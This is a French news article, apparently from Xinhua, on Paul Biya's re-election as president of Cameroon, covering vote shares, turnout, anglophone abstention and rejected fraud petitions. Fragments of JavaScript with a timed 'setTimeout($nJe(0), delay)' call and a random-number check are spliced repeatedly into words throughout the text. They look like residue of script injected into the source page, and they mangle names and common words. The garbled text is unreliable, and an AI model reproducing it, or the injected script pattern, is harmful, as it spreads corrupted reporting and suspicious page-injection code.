Cameroun : Paul Biya remercie la confiance “renouvelée” après avoir été réélu président
Le président élu du Cameroun, Paul Biya, a exprimé lundi soir sa gratitude aux Camerounais après une vicdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toire écrasante avec 71,28% des voix.
“Chers compatriotes du Cameroun et de la diaspora, merci de m’avoir renouvelé votre confiance aussi massivement”, a indiqué M. Biya sur sa page Twitter.
“Rassemblons-nous à présent pour relever, ensemble, les défis qui nous interpellent pour un Cameroun encore plus uni, stable, et prospère”, a-t-il poursuivi.
Le cdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andidat du Mouvement pour la renaissance du Cameroun (MRC) Maurice Kamdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to s’est classé deuxième avec 14,23% des voix, alors que Joshua Osih du Front social démocrate (SDF), première force d’opposition du pays, n’a remporté que 3,35% des voix pour occuper la quatrième place parmi les neuf cdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andidats.
Ces résultats pourraient entraîner un bouleversement au sein de l’opposition camerounaise, a indiqué à Xinhua Michael Nyugap, professeur en sciences politiques à l’Université de Douala.
“Cela signifie qu’il (Maurice Kamdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to) serait le leader émergent de l’opposition camerounaise”, a déclaré M. Nyugap.
Souvent appelé le “Macron camerounais”, le plus jeune cdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andidat Cabral Libii (38 ans) a engrangé 6,28% des suffrages en se classant troisième.
C’est un message clair d’une population jeune et active qui aspire au changement, a déclaré le professeur Nyugap.
Selon les statistiques officielles, 3.590.681 votants sur les 6.667.754 inscrits se sont rendus aux urnes, pour un taux de participation de 53,85%, contre 65,82% en 2011 et 82,83% en 2004.
La participation était mineure en zone anglophone où moins de 10% d’électeurs inscrits ont voté face aux menaces des sécessionnistes armés de perturber le scrutin.
Selon des observateurs, cette massive abstention au foyer du SDF, ainsi que le retrait de cdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andidature du leader charismatique John Fru Ndi, lors des primaires du parti, étaient à l’origine de la chute du soutien exprimé au SDF.
Lundi, le Rassemblement démocratique du peuple camerounais (RDPC), parti au pouvoir dont M. Biya est président national et cdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andidat présidentiel audom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomatique, a organisé des célébrations dans les grdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andes villes, notamment la capitale politique Yaoundé et la capitale économique Douala.
“Notre cdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andidat est encore une fois le champion. Nous sommes ici pour célébrer une vicdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toire bien méritée et appeler les Camerounais à soutenir encore plus Paul Biya alors qu’il fait du Cameroun un pays émergent”, a indiqué à Xinhua à Yaoundé Serge Eloundou, un responsable du RDPC.
Alors que les célébrations se poursuivaient, la sécurité a été renforcée dans les principales villes du pays, selon des résidents locaux joints par Xinhua.
“Parmi les neuf cdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andidats en compétition, le peuple camerounais a choisi ‘la force de l’expérience'”, s’est félicité à Yaoundé lors des célébrations Jean Nkuete, secrétaire général du RDPC, faisant référence au slogan de campagne de M. Biya.
“Ne dure pas au pouvoir qui veut, mais qui peut”, avait déclaré M. Biya à la presse en 2015. Agé de 85 ans, il assure la magistrature suprême depuis près de 36 ans.
A l’issue du vote du 7 ocdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tobre, M. Libii, avec MM. Kamdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}to et Osih et plusieurs d’autres requérants, ont demdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andé au Conseil constitutionnel d’annuler le scrutin en raison de fraudes élecdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}torales qu’ils ont cru constater.
Les 18 pétitions post-élecdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}torales ont été rejetées par le Conseil constitutionnel, composé de onze juges nominés par le président Biya.
Au jour des résultats, le président de l’instance suprême de justice camerounaise, Clément Atangana, a indiqué que les élections ont été “libres, transparentes, paisibles et crédibles” et le Conseil constitutionnel, qui surveille la régularité du scrutin, en est “satisfait”.
Selon la loi élecdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}torale, aucun recours n’est admissible après la proclamation des résultats, à l’issue de laquelle M. Biya doit prêter serment dans un délai maximum de 15 jours.